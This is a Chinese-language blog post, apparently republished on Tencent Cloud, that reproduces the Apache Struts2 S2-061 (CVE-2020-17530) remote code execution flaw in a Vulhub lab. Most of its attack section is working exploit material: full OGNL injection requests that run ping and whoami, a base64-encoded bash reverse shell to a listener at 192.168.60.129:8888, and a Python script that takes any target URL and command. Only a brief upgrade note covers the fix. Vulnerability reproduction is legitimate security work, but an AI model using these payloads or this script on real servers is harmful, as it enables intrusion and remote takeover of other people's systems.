Apache Struts2--061远程代码执行漏洞复现

用户6343818

发布于 2020-12-29 15:23:15

1K0

发布于 2020-12-29 15:23:15

网安引领时代，弥天点亮未来

0x00漏洞简述

Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞，开发人员使用了 %{…} 语法，从而攻击者可以通过构Payload，从而造成远程代码执行。

该漏洞编号为 CVE-2020-17530 ，漏洞等级：高危，漏洞评分：7.5

S2-061是对S2-059沙盒进行的绕过！

0x01影响版本

Apache Struts2：2.0.0 - 2.5.25

0x02漏洞复现

漏洞项目

https://github.com/vulhub/vulhub/tree/master/struts2/s2-061

虚拟机部署docker安装Vulhub一键搭建漏洞测试靶场环境。

docker-compose up -d

1、漏洞环境启动

2、访问漏洞环境

3、测试漏洞是否存在

%25%7b+%27yunzui%27+%2b+(520+%2b+520).toString()%7d

执行效果

http://192.168.60.139:8080/?id=%25%7b+%27yunzui%27+%2b+(520+%2b+520).toString()%7d

4、漏洞利用

1.DNSlog出网验证

域名生成 rtlyas.dnslog.cn

POST /index.action HTTP/1.1
Host: 192.168.60.139:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 846
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("ping rtlyas.dnslog.cn")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

DNGlog记录发现可以出网

2.exp进行命令执行 whoami

方法一

POST /index.action HTTP/1.1
Host: 192.168.60.139:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 831
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

方法二

POST /index.action HTTP/1.1
Host: 192.168.60.139:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1365
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{
(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + 
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + 
(#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + 
(#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + 
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + 
(#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + 
(#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

3.反弹shell命令

通过以下在线地址将bash反弹命令进行进行编码转换

bash -i >& /dev/tcp/192.168.60.129/8888 0>&1

http://www.jackson-t.ca/runtime-exec-payloads.html

POST /index.action HTTP/1.1
Host: 192.168.60.139:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1456
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{
(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + 
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + 
(#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + 
(#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + 
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + 
(#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + 
(#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYwLjEyOS84ODg4ICAwPiYx}|{base64,-d}|{bash,-i}'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

发现可以成功反弹shell

4.Python脚本验证

# encoding=utf-8
import requests
import sys
from lxml import etree




def exp(url,cmd):
    payload="%25%7b(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application%5b%27org.apache.tomcat.InstanceManager%27%5d).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr%5b%27struts.valueStack%27%5d).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d%7b%27"+cmd+"%27%7d).(%23res%3d%23exec.exec(%23cmd))%7d"
    tturl=url+"/?id="+payload
    r=requests.get(tturl)
    page=r.text
#   etree=html.etree
    page=etree.HTML(page)
    data = page.xpath('//a[@id]/@id')
    print(data[0])


if __name__=='__main__':
    print('+------------------------------------------------------------+')
    print('+ EXP: python struts2-061-poc.py http://8.8.8.8:8080 id      +')
    print('+ VER: Struts 2.0.0-2.5.25                                   +')
    print('+------------------------------------------------------------+')
    print('+ S2-061 RCE && CVE-2020-17530                               +')
    print('+------------------------------------------------------------+')
    if len(sys.argv)!=3:
        print("[+]ussage: http://ip:port command")
        print("[+]============================================================")
        sys.exit()
    url=sys.argv[1]
    cmd=sys.argv[2]
exp(url,cmd)

python CVE-2020-17530.py http://192.168.60.139:8080 whoami

0x03修复建议

升级到 Struts 2.5.26 版本

下载地址为：

https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.26

0x04参考链接

https://mp.weixin.qq.com/s/rcfXIBSpNtgCFua0yUK_ew

https://blog.csdn.net/weixin_45728976/article/details/110875648

https://mp.weixin.qq.com/s/KyOTJtRvUm9pFXei0OZlVg

https://www.cnblogs.com/backlion/p/14122528.html

知识分享完了

本文参与腾讯云自媒体分享计划，分享自微信公众号。

原始发表：2020-12-15，如有侵权请联系 cloudcommunity@tencent.com 删除

安全

本文分享自零度安全攻防实验室微信公众号，前往查看

如有侵权，请联系 cloudcommunity@tencent.com 删除。

本文参与腾讯云自媒体分享计划，欢迎热爱写作的你一起参与！

登录后参与评论

0 条评论

热度

Apache Struts2--061远程代码执行漏洞复现

Apache Struts2--061远程代码执行漏洞复现

社区

活动

资源

关于

腾讯云开发者

热门产品

热门推荐

更多推荐